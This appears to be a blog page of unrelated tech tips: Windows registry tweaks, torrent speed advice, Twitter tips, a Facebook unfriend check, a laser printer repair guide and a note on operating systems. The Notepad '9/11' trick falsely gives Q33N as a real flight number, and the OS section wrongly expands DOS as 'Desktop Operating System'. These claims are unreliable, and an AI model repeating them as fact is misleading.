5 New Great Registry Hacks

1. Security:

USB Drives are one of the major tool through which data transfer takes place. In order to protect your data from getting stolen from you computer with the help of a USB drive you can make the USB drives read only.
Go to  ‘HKLM\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies‘ and   create a new DWORD value ‘WriteProtect‘ and set its value to 1. This will enable you to read from USB drives, but you won’t be able to copy data to it.

2. Sorting Files:

Quite often you want the files to appear according to their names in explorer. In order to restore the ASCII file ordering, perform the following hack :
Go to ‘HKLM\Software\Microsoft\Windows\Currentversion\Policies\Explorer’ and create a new DWORD value called as ‘NoStrCmpLogical’ and set its value to 1.

3. Speeding Up Menu loading time:

In order to make your menus load faster, perform the following tweak.
Go to ‘HKEY_CURRENT_USER\ Control Panel\Desktop‘ and right click ‘MenuShowDelay’ and click ‘Modify’. Change the string value to some nearby 100 value.

4. Reducing Folder Accessibility Time:

To speed up the access to any folder that is pinned to start menu, perform the following hack
Go to ‘HKCR\Folder\shellex\ContextMenuHandlers’ and right click ‘ContextMenuHandlers‘ and click ‘New|Key‘. Type ” (blank space and no quotation marks) and press Enter. Select any folder and right click on it to select ‘Pin to Start Menu’ while holding Shift key.

5. Multiple Logins in Messenger:

Seven trick's to increase Torrent Speed

The use of Bit Torrent is an efficient way to transfer files of just about any size quickly and efficiently. How this works is by breaking the huge files into smaller pieces and is from one or many of the different sources. This is one of the best ways to transfer bulky files quickly even when you are using a low bandwidth connection. There are many more things that you can do with Bit Torrent, but here we are going to discuss how to make this work much faster.

Here are some essential tips for the same,
Start with your ISP:
All ISP has a preset maximum upload and download speed, and you cannot make your torrent work beyond this speed. All you can do is to use the best use of this upload and download speed even when the signal is weak. You can check the maximum speed that you can achieve by conducting a broadband speed test and compare with the DSLReports that comes with your uTorrent.
Opt-In for healthy seeds and peers:
A peer is any computer participating           in downloading and uploading of torrent files along with that of yours. A seeder is one who has a complete copy of the file that is being shared across a torrent network. A leecher is the person who has joined the network recently and do not have most of the file that you or the peer has. This leecher becomes the seeder when they download the entire file and is able to share it across the network.  For getting high torrent speed, you need to increase the number of seeders to increase the chance of healthier and reception of higher speeds.
Get through the firewall:
Many times, you will find the administrator or the firewall in your web browser is set to block and receive torrent files. The first thing that you need to do is to get appropriate permissions for downloading torrent files, and add this to your firewall, which will enhance the speed at which you can download torrent files. If the internet is through a router, then you have to set the torrent file to cross the barrier of the security of the router also.
Go to a different port:
The default port for BitTorrent protocol is always between the numbers 6881-6999. This is because BitTorrent sharing will involve high bandwidth usage. However, this is possible that you can configure a different port for your torrent client and this has been best advised to set this number to somewhere around 10000.
Limit your upload rate:
A peer to peer network is sharing alike on the same or similar platform and therefore you should be able to set your client’s upload speed rate to a maximum amount, which will usually be about 80 percent of your maximum upload speed that is being offered by your ISP. Keep this speed, as high as possible, but you have to play your cards well as the upload speed affects your download speed as well.
Use your common sense:
If you understand the concept of how Bit Torrent works, then your common sense will automatically tell you that this is possible to view the individual files being downloaded and disable the ones that you are not in need off, which will  help you to speed up the process of downloading the files using Bit Torrent.
Bandwidth and connections:
This is possible to set the maximum number of connections, maximum number of peers connected per torrent and number of slots per torrent so that you can decide on which numbers gives the maximum efficiency from your Bit Torrent files.
Now is that you have some tips on how to increase the speed of downloading while using Bit Torrent, why not try these tips out next time! Comments are appreciated!!

How to Make the Most Out of Your 140 Characters on Twitter Posted by pcadmin on June 26th, 2012 | No Comments

When you’re on Twitter, fitting everything into 140 characters can be tricky. How do you condense your thoughts into a few short sentences? It’s important to make the most out of your tweets for several reasons. When you’re able to create short and interesting tweets, you’ll gain more followers and make more connections over the social network. Good tweets are more likely to get replies or retweeted on other Twitter feeds.

1. Get rid of some of the names in the tweets. Each Twitter username takes up room in your tweet. If you’re replying to a tweet or re-tweeting someone else’s message, delete some of the names. When you create your own tweet, send out individual mentions instead of mass messages.

2. Learn Twitter shorthand. People who are familiar with Twitter know the lingo. Most text message shorthand applies to Twitter and symbols are often used in place of longer words. For instance, use “&” and “+” instead of and in your Tweets. Certain vowels can also be dropped in sentences to make more room.

3. Shorten links. Links with long names can take up most of your 140 character limit. Instead use a shorten link tool like bit.ly to make it much easier to place website links in your tweets.

4. Don’t go hashtag crazy. Although you think a ton of hashtags will attract followers, it may actually turn off users from your tweets. Try to use only one or two hashtags per message.

If you absolutely can’t shorten anymore, you can always send two consecutive Tweets. However, staying within the limit helps you say exactly what you want to in the most concise way possible.

See the 9/11 Attack on Notepad

Now the attack of World Trade Center can be seen on a simple Notepad file. Let’s begin this trick with the bit of information – The flight number of the respective flight that hits twin tower was Q339.  However,  new notepad versions change it recently. So you have to change 9 to N. 

Now let’s begin this interesting trick:

Open a new notepad file.
Type Q339
Increase the font size to 72
Change the font type to “Wingdings” 



I can see your expression. Yes it’s the power of notepad or just a mere coincidence.

How To Find Out Who Unfriended You on Facebook

You log on Facebook in the evening and you have 252 friends. However, the next morning you wake up and your friend count has dropped to 249. Who are these three mysterious friends that disappeared?




Unfortunately, Facebook does not send a notification when someone unfriends you on the social network site. However, you don’t have to scroll through each friend and try to figure out who’s missing either. Within a few short minutes, you can find out exactly who has deleted you as their friend. The new Timeline design on Facebook has made it much easier to find out who has unfriended you.

1. To begin, log onto Facebook and head on over to your profile page. To the right of the page, you’ll see a list of the years you’ve been on the social network.

2. Click on any previous year listed. A “Friends” menu will pop up on your profile. This will tell you which friends you added during this particular time period.

3. Scroll over the friends and it will tell you whether or not you’re still friends with the person.

4. Install a plugin to identify who has unfriended you. Another option is to use a reliable plug-in to find out who unfriends you. For instance, the Unfriend Finder works on Internet Explorer, Safari, Firefox, Opera and Chrome browsers. Once installed, you’ll receive notifications when someone unfriends you or deletes his or her account.

Learn how to troubleshoot and repair laser printers

 Learn how to troubleshoot and repair laser printers

Computer technicians, help desk professionals, and administrators can spend an inordinate amount of time dealing with laser printer problems. If you'd like to streamline the amount of time you spend with laser printers, then you should master some of the maintenance, troubleshooting, and repair techniques in this article.

Understand laser printers

In a previous article, we examined the inner workings of a laser printer. If you read that article first, then you will be able to better understand and implement the tips in this article.

Cleaning

Cleaning can go a long way towards keeping a laser printer running smoothly. The exterior of the printer can be cleaned with a water-dampened cloth or a cleaner rated for electronics. The interior can be cleaned with a small vacuum or with compressed air. If you are using compressed air, remove the fuser assembly to allow a path for dirt and debris to exit the printer. The interior can be further cleaned with a dry, lint-free cloth.

Troubleshooting

The first step in troubleshooting is determining the nature of the problem and then concentrating on a specific area. Many laser printers contain a status message area that displays the printer's current state. If an error occurs, the printer will almost always display a message or an error code. For example, the HP 2100 laser printer communicates status and problems to the user via three status LED's located on the printer's control panel. The latest model, the 2300, has a front-panel status display for communicating to the user. Status information is also conveyed to the user by the printer's queue software.

Errors are often also written to a status log. The status log can usually be viewed by printing a self-test/configuration page. Of course, if the problem is keeping the printer from printing, then the configuration page will not be available. In this case, troubleshooting can be performed by connecting the printer to a PC via a parallel cable or network connection and running diagnostic tests.

More severe errors may indicate a problem with the electronics. The service manual usually details each error and the corrective action needed. Error codes and their meaning can also be researched on the vendor's Web site (e.g., the HP Web site). Although problems with the printer's electronics do occur, the bulk of the problems are mechanical. The mechanical issues usually occur in two common forms: paper jams and image problems.

Paper jams

By far, the most common complaint is the paper jam. If there is a paper jam, determine the area where the jam is occurring and examine the area. Most jams occur due to a paper path blockage or a worn roller. I have been called to repair a paper jam and, often, find the cause to be a small piece of paper that was not removed from a previous jam. Many times, the paper itself is the cause of the jam. Poorly installed paper, or paper that has been stored improperly and allowed to curl prior to installing it in the paper tray, can lead to paper jams.

If the paper jam is at the paper tray, suspect the pick-up roller. A worn pick-up roller will not grab the paper correctly and will result in the paper being partially removed from the tray. When you open the tray, the leading edge of the paper will be slightly out of the tray. If the printer is pulling in multiple sheets of paper, suspect the separation pad at the front of the tray. I usually replace the separation pad and pick-up roller (Figure A) as a set. If one is worn, the other probably needs to be replaced as well.

If the paper makes it inside the printer and stops, look for paper debris or other material that may be blocking the paper's path. Also, examine any associated rollers for wear. Internal jams are typically caused by a blockage. A small vacuum, or compressed air, can be used to remove debris from inside the printer. When looking for the culprit of an internal jam, remove the top cover, fuser, and laser-scanning assembly to get an unobstructed view of the internal components (Figure B).

If the paper jams at the fuser, suspect a blockage in one of the fuser rollers. The fuser is typically a field replaceable assembly and is usually easy to remove. Remove the fuser to examine it for paper debris, worn gears, or other mechanical problems. Remove the screws securing the fuser and any electrical connections (Figure C).

If the fuser appears to be working properly, examine the entrance and exit paths to the fuser. Also inspect the exit rollers for missing or damaged components. Every component in the paper path must be clean and smooth for the paper to travel through without problems.

Image problems

Any deterioration in the quality of the image is directly related to one of the components in the image subsystem. The first step in image troubleshooting is to examine the toner cartridge. The toner cartridge contains the drum and developing rollers. If either of these components becomes damaged, it will result in an image problem. Inspect the drum for marks or debris. The drum can be inspected by pulling back the plastic shutter that protects it when it is removed from the printer (but, remember that the drum is sensitive to light; so, do not expose it to bright light for long periods of time).

The most common problems are scratches or lines around the drum (Figure D). These lines will transfer to the image. If the complaint is a solid or partial line on the image, inspect the drum for a matching set of lines. Replace the toner cartridge if the drum appears damaged or if you suspect the drum to be the cause of the image problem. If you replace the toner cartridge and the lines remain, then there's a good chance that the problem is with the drum.

The fuser can also be the source of image deterioration. Scratches or damaged areas of the fuser can result in missing or smudged areas on the printout. Remove the fuser, and examine it closely for damage or deterioration (Figure E).

HP has recommended intervals for replacing the fuser, typically around 150,000 printed pages. For most models of its printers, HP sells a maintenance kit, which includes the fuser and other replaceable rollers and belts. Most printers can print a configuration or test page that lists the number of pages printed. This can be used as a general guide; but, you should also examine the print quality by printing a test page. If you see smudged or missing lines, replace the fuser. If the fuser is bad, then you should also replace the rest of the recommended parts as part of an "overhaul."

If the image appears blurred or distorted and you have ruled out the toner cartridge and fuser, check the transfer roller and laser-scanning assembly. A worn transfer roller can cause a "faded" image symptom. The transfer roller cannot be cleaned; it must be replaced. Also, dirt or debris on a lens or mirror of the laser-scanning assembly can distort the beam and cause image problems. Remove the screws securing the top, and examine the interior. Carefully examine and clean the reflecting mirror and lenses (Figure F). Typically, the laser assembly can easily be removed for cleaning or replacement. In the HP 2100, four screws secure it to the interior of the printer chassis.

Figure F

Obtaining parts and service information

The best source of information on HP laser printers is, of course, the HP Web site. Access to parts and servicing information can be handled through a tool known as "PartSurfer." PartSurfer provides online exploded-view diagrams for identifying all parts and part numbers in all HP products (not just laser printers). PartSurfer allows you to search by equipment type, model number, part number, keyword, and description. Parts can then be ordered directly from HP. In addition to PartSurfer, a Service Parts Information CD-ROM is also available for purchase from HP. The CD-ROM contains the same information as the PartSurfer Web site. The CD-ROM can be ordered individually or as a quarterly subscription, which keeps the information up to date.

End sum

Many of us have heard about the coming of the "paperless office" for years. The reality is that the average office still needs paper copies of many documents. Thus, you should take advantage of the insights and tips in this article to better troubleshoot the laser printers that you manage, because they probably won't be phased out any time soon

Some OS (Operating System)

OS (Operating System)

          There are mainly two types of operating system.

(i) DOS (Desktop Operating System)                 (ii) NOS (Network Operating System)

DOS 1. It is a desktop operating system. 2. It is used in small networks. 3. In this OS, there is less security. 4. In this OS, all computers are clients. 5. In this OS, MS-DOS, GUI package Win          3.1, Win 95, Win 98, Win ME comes.

NOS 1. It is a network operating system. 2. It is used for large networks. 3. In this OS, there is more security. 4. In this OS, there are servers and clients. 5. In this OS Win NT, Win 2000, Win      2003, LINUX, UNIX, Novell and i mac      comes.
